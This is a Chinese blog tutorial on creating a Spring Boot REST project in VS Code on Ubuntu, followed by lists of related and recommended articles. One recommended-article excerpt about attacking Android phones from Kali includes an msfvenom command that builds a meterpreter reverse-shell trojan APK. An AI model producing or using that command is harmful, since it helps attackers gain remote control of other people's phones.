目的

我们将在Ubuntu桌面系统下,使用VS Code(Visual Studio Code)编辑器从零开始创建一个Spring Boot工程,并实现一个简单的RESTful风格接口。使用这套流程的好处是我们不用将精力或金钱花费在各种需要授权的系统或软件上。

这篇文章不是长篇大论的具体教程,只是梳理下完成目标任务所需的步骤。比较简单的步骤我会给出操作方法或代码,而需要花时间学习(也就几分钟)的步骤我尽量给出官方参考页面。

最终所创建的工程可以在我的Github页面找到:springboot-demo

环境需要

  • Linux桌面发行版,我用的是Ubuntu 20.04.3 LTS,若你使用其他发行版本,也许只在VS Code、JDK等软件的安装方法上有些差别,但这些在以下的参考链接中几乎都有所覆盖。
  • 支持Java的VS Code环境
  • 给VS Code安装扩展:Spring Boot Extension Pack
  • JDK11或者更新版本(本文参考链接里给出的是oracle发布的JDK,也可以自行安装其他开源的JDK版本,如Zulu11-jdk
  • 可选,版本管理工具,安装GIT,若已有则忽略。

创建一个新工程

  • 在Terminal中键入code打开一个VS Code界面
  • 创建一个SpringBoot工程
    • 方法1:在VSC界面的Walkthroughts区域选择Getting Started with Spring Boot in VS Code -> Create a new Spring Boot project -> 选择版本、语言、java版本、项目名、依赖、存储目录等等。
    • 方法2:按组合键Ctrl+Shift+P,在命令窗口,输入 Spring 选择创建 Maven 项目,后续步骤类似。
  • 创建好后稍等一会,等下载完依赖就可以在左侧的JAVA PROJECT列表查看项目结构了。

调试&运行

同样,有多种方法可以进行工程的调试运行,这里使用左侧SPRING BOOT DASHBOARD面板,选中项目名,点击 Start 或者 Debug 按钮即可开始运行或调试该工程。

当然这里写的比较简单,如何设置环境变量、运行环境以及调试时的断点设置以后具体写写。

写一个RESTful接口

可以根据上面官方的向导写一个GreetingController。这里与官方示例有一点不同的是我使用lombok依赖提供的注解构造了一个GreetingModel类,来简化写法。使用@Data注解可以使你的类里的属性自动生成set和get方法,更详细注解使用方法就不赘述了。

@Data
@AllArgsConstructor
public class GreetingModel { private final long id;
private final String content;
}

遇到的问题

完成本文内容我遇到了些小坑,这里记录下

  • 使用@Data等lombok注解无效,可能是你的VSCode没有装这个扩展:Lombok Annotations Support for VS Code

本文参考

Building a Guide with VS Code

Building a RESTful Web Service

VsCode搭建Java开发环境(Spring Boot项目创建、运行、调试)

@Data无效的解决方法

Ubuntu下使用VS Code创建Spring Boot工程的更多相关文章

  1. 基于VS Code创建Spring Boot项目开发REST API(一)

    公司从.NET转向Java不仅仅是简单的代码变成Java,趁此机会对原有的架构和代码重构,融入新的概念和技术.目前通过前后端分离,将后端更多的微服务化.从.NET转向Java我们更多的是用Java开发 ...

  2. 创建Spring Boot 工程

    先在eclipse中安装spring -tool -suite插件,然后根据以下步骤可以创建   1.新建Spring Starter Project 2.Packaging 选择 jar 3.勾选W ...

  3. MAC系统下用Idea创建spring boot工程 基于maven

    1.创建项目 打开idea编辑器,选择file  -> new -> project 点击next 依次填入group,artifact 填写完成之后再点击“next” 根据自己的需求在最 ...

  4. 在eclipse下,用Maven创建Spring MVC工程

    参考链接:https://www.cnblogs.com/yangyxd/p/5955630.html 1.打开Eclipse,Ctrl + N  创建Maven

  5. Spring Boot2 系列教程(二)创建 Spring Boot 项目的三种方式

    我最早是 2016 年底开始写 Spring Boot 相关的博客,当时使用的版本还是 1.4.x ,文章发表在 CSDN 上,阅读量最大的一篇有 43W+,如下图: 2017 年由于种种原因,就没有 ...

  6. Spring Boot入门(一):使用IDEA创建Spring Boot项目并使用yaml配置文件

    由于公司最近在做技术转型(从.Net转Java),因此自己也开启了学习Java之路.学习Java怎么能不学习这几年这么火的Spring Boot框架,由于自己有总结的习惯,因此会把学习的过程以博客的形 ...

  7. 学习创建spring boot

    一.什么是spring boot? Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开 ...

  8. IDEA 创建Spring Boot 项目

    一.准备环境 配置Maven,打开设置页面File - Setting,快捷键Ctrl + Alt + S,找到Maven,默认是IDEA 自带的插件,User setting file 配置文件默认 ...

  9. 创建Spring Boot项目的几种方式总结

    一.我们可以使用Spring Initializr来创建SpringBoot项目. Spring Initializr从本质上来说就是一个Web应用程序,它能为你生成Spring Boot项目结构.虽 ...

随机推荐

  1. Kali渗透安卓手机

    kali渗透安卓手机 1.生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 R > test.apk 在终 ...

  2. 分布式文件系统fastdfs安装以及python调用

    fastfds的安装和使用 一.所需依赖 操作系统:centos7.x(注意的是centos使用yum安装相关依赖) fastdfs:V6.06.tar.gz libfastcommon:V1.0.4 ...

  3. vue的一些细节

    注意区别 //鼠标滚轮事件 @wheel = "demo"demo()注意执行顺序,用户滚动鼠标滚轮,触发事件执行demo()函数,函数执行完毕后,页面滚动条滚动所以,当demo( ...

  4. 网络编程之新函数inet_pton和inet_ntop

    1.头文件 1 #include <arpe/inet.h> 2.inet_pton 函数 A.原型 1 int inet_pton(int family, const char *str ...

  5. 【LeetCode】 204. Count Primes 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 素数筛法 参考资料 日期 [LeetCode] 题目 ...

  6. 【LeetCode】735. Asteroid Collision 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 日期 题目地址:https://leetcode ...

  7. [opencv]keypoint数据结构分析

    KeyPoint这数据结构中有如下数据成员: angle:角度,表示特征点的方向,通过Lowe大神的论文可以知道,为了保证方向不变形,SIFT算法通过对特征点周围邻域进行梯度运算,求得该点方向.-1为 ...

  8. CS5262设计DP转HDMI 4K60HZ +VGA 1080P方案芯片

    CS5262是一款带嵌入式MCU的4通道DisplayPort1.4到HDMI2.0/VGA转换器芯片,设计用于将DP1.4信号源连接到HDMI2.0接收器.CS5262集成了DP1.4兼容接收机和H ...

  9. CS5211替代CH7511B|DP转LVDS控制板|替代CH7511B设计电路方案

    CS5211性能和参数可以替代CH7511B,PS8622,PS8625,LT7211等方案,用于设计DP转LVDS转换器,DP转LVDS控制板,DP转LVDS转接板等产品设计. CS5211是一个e ...

  10. JUC之线程间定制化通信

    线程通信之定制化 之前文章中写了下Condition的使用,这里我们详细说下其中的用法: 首先使用Condition需要实例化Lock private Lock lock = new Reentran ...